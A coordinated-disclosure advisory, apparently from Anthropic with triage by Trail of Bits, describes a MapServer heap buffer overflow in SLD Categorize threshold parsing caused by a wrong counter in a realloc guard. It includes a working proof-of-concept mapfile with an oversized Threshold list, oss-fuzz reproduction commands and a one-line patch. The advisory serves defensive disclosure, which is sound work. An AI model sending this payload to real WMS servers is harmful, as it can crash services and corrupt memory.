ANT-2026-9SZMPW41 · MapServer

heap-buffer-overflow medium

CVE-2026-33721

Severity Claude medium · Security research firm medium · Maintainer unknown

Discovered by Claude Mythos Preview

REPORT

Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Trail of Bits.

ANT-2026-9SZMPW41: Heap buffer overflow in SLD categorize threshold parsing due to wrong counter variable in reallocation guard

While parsing Threshold entries in an SLD Categorize expression, the code grows a heap array to hold parsed thresholds, but the bounds check guarding the realloc uses the wrong counter variable. As a result the buffer is not enlarged when it should be, and subsequent threshold entries are written past the end of the allocation. An attacker who can supply an SLD document with many Threshold elements can trigger an out-of-bounds heap write.

Target

Project: MapServer
Discovery: static analysis — not yet dynamically reproduced

Technical Details

The reallocation guard compares against a different counter than the one actually used to index/increment into the thresholds array, so the realloc branch is never (or not correctly) taken as thresholds accumulate. Writes then proceed past the allocated heap block. No ASAN output was provided in the report.

Reproduction

This finding was identified by static analysis and has not yet been dynamically reproduced. The Technical Details section above describes the code path; a trigger input is not included.

[No reproducer or sanitizer output attached — request from cvd@anthropic.com if needed.]

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-9SZMPW41.


Reference: ANT-2026-9SZMPW41
Anthropic CVD Policy: https://anthropic.com/security/cvd-policy

SECURITY RESEARCH FIRM ANALYSIS

Triage and disclosure were performed by Trail of Bits. The writeup below is the document the firm sent to the maintainer.

Verdict
true positive
Severity
medium

Summary

A heap-buffer-overflow write in MapServer’s SLD (Styled Layer Descriptor) parser lets a remote, unauthenticated attacker crash the MapServer process by sending a crafted SLD with more than 100 Threshold elements inside a ColorMap/ Categorize structure (commonly reachable via WMS GetMap with SLD_BODY).

Details

MapServer’s SLD parser in msSLDParseRasterSymbolizer (src/mapogcsld.cpp, around the Categorize parsing logic) allocates papszThresholds for 100 entries (nMaxThreshold = 100) and appends one char* per element while incrementing nThresholds, but the growth check mistakenly tests nValues == nMaxThreshold (where nValues counts nodes) instead of nThresholds == nMaxThreshold; when an SLD ColorMap/Categorize contains more than 100 elements, the code keeps writing past the end of the heap-allocated pointer array (an out-of-bounds 8-byte pointer write per extra element), leading to an ASAN heap-buffer-overflow and typically a remote crash/denial-of-service when attacker-controlled SLD is parsed (for example via WMS GetMap with SLD_BODY, depending on deployment configuration).

PoC

MAP
NAME "x"
CONFIG "MS_ERRORFILE" "/tmp/evilsld.xml"
OUTPUTFORMAT
NAME "<StyledLayerDescriptor><NamedLayer><Name>x</Name><UserStyle><FeatureTypeStyle><Rule><RasterSymbolizer><ColorMap><Categorize><Value>aaaaaaaaaaaa</Value><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>"
DRIVER "AGG/PNG"
IMAGEMODE RGB
TRANSPARENT ON
END
OUTPUTFORMAT
NAME "</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold></Categorize></ColorMap></RasterSymbolizer></Rule></FeatureTypeStyle></UserStyle></NamedLayer></StyledLayerDescriptor>"
DRIVER "AGG/PNG"
IMAGEMODE RGB
TRANSPARENT ON
END
CONFIG "MS_ERRORFILE" "stderr"
LAYER
NAME "test"
TYPE POINT
STYLEITEM "sld:///tmp/evilsld.xml"
END
END

Reproduce with

  export OSS_FUZZ_DIR="$HOME/src/oss-fuzz"
  git clone https://github.com/google/oss-fuzz.git "$OSS_FUZZ_DIR"
  cd "$OSS_FUZZ_DIR"
  python3 infra/helper.py build_fuzzers --sanitizer address mapserver
  python3 infra/helper.py reproduce mapserver mapfuzzer poc.bin

Fix (idea)

  --- a/src/mapogcsld.cpp
  +++ b/src/mapogcsld.cpp
  @@ -2894,7 +2894,7 @@
           } else if (strcasecmp(psNode->pszValue, "Threshold") == 0) {
             papszThresholds[nThresholds] = psNode->psChild->pszValue;
             nThresholds++;
  -          if (nValues == nMaxThreshold) {
  +          if (nThresholds == nMaxThreshold) {
               nMaxThreshold += 100;
               papszThresholds = (char **)msSmallRealloc(
                   papszThresholds, sizeof(char *) * nMaxThreshold);

Impact

Memory corruption (heap out-of-bounds write in a pointer array). Deployments that parse attacker-controlled SLD (commonly WMS users if SLD_BODY is accepted/enabled).

Background

Anthropic is conducting research into the use of large language models for automated vulnerability discovery in open source software. As part of that work, Anthropic used Claude to scan a set of widely used open source projects for security issues. Anthropic then engaged Trail of Bits to independently triage, manually validate, and develop patches for the findings. This issue has been reviewed and confirmed by human security researchers at Trail of Bits.

TIMELINE

Dates from discovery through public reveal.

  1. 2026-03-29 Reported to tracker
  2. 2026-05-07 Sent to maintainer
  3. 2026-05-07 Patch released
  4. 2026-05-07 Maintainer acknowledged
  5. 2026-05-20 Publicly revealed
PROVENANCE

SHA-3-512 hash:

5623c6557ab0c7f772e18cc200aa77f720d757b39fdf25608bd142d507d38e19a70d8b584699cf63f0c46952a935a92275ba856109d79d2505f0cbc059aab77f

Committed 2026-05-07 00:01 PT

Revealed 2026-05-20 00:40 PT

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-9SZMPW41",
  "bug_class": "Heap Buffer Overflow",
  "claude_severity": "medium",
  "commit_sha": null,
  "created_at": "2026-03-29T20:43:18+00:00",
  "description": "While parsing Threshold entries in an SLD Categorize expression, the code grows a heap array to hold parsed thresholds, but the bounds check guarding the realloc uses the wrong counter variable. As a result the buffer is not enlarged when it should be, and subsequent threshold entries are written past the end of the allocation. An attacker who can supply an SLD document with many Threshold elements can trigger an out-of-bounds heap write.",
  "discovered_at": null,
  "location": null,
  "poc_sha256": null,
  "preimage_version": 1,
  "project": "MapServer",
  "reproduction": null,
  "technical_details": "The reallocation guard compares against a different counter than the one actually used to index/increment into the thresholds array, so the realloc branch is never (or not correctly) taken as thresholds accumulate. Writes then proceed past the allocated heap block. No ASAN output was provided in the report.",
  "title": "Heap buffer overflow in SLD categorize threshold parsing due to wrong counter variable in reallocation guard",
  "vendor_severity": "medium"
}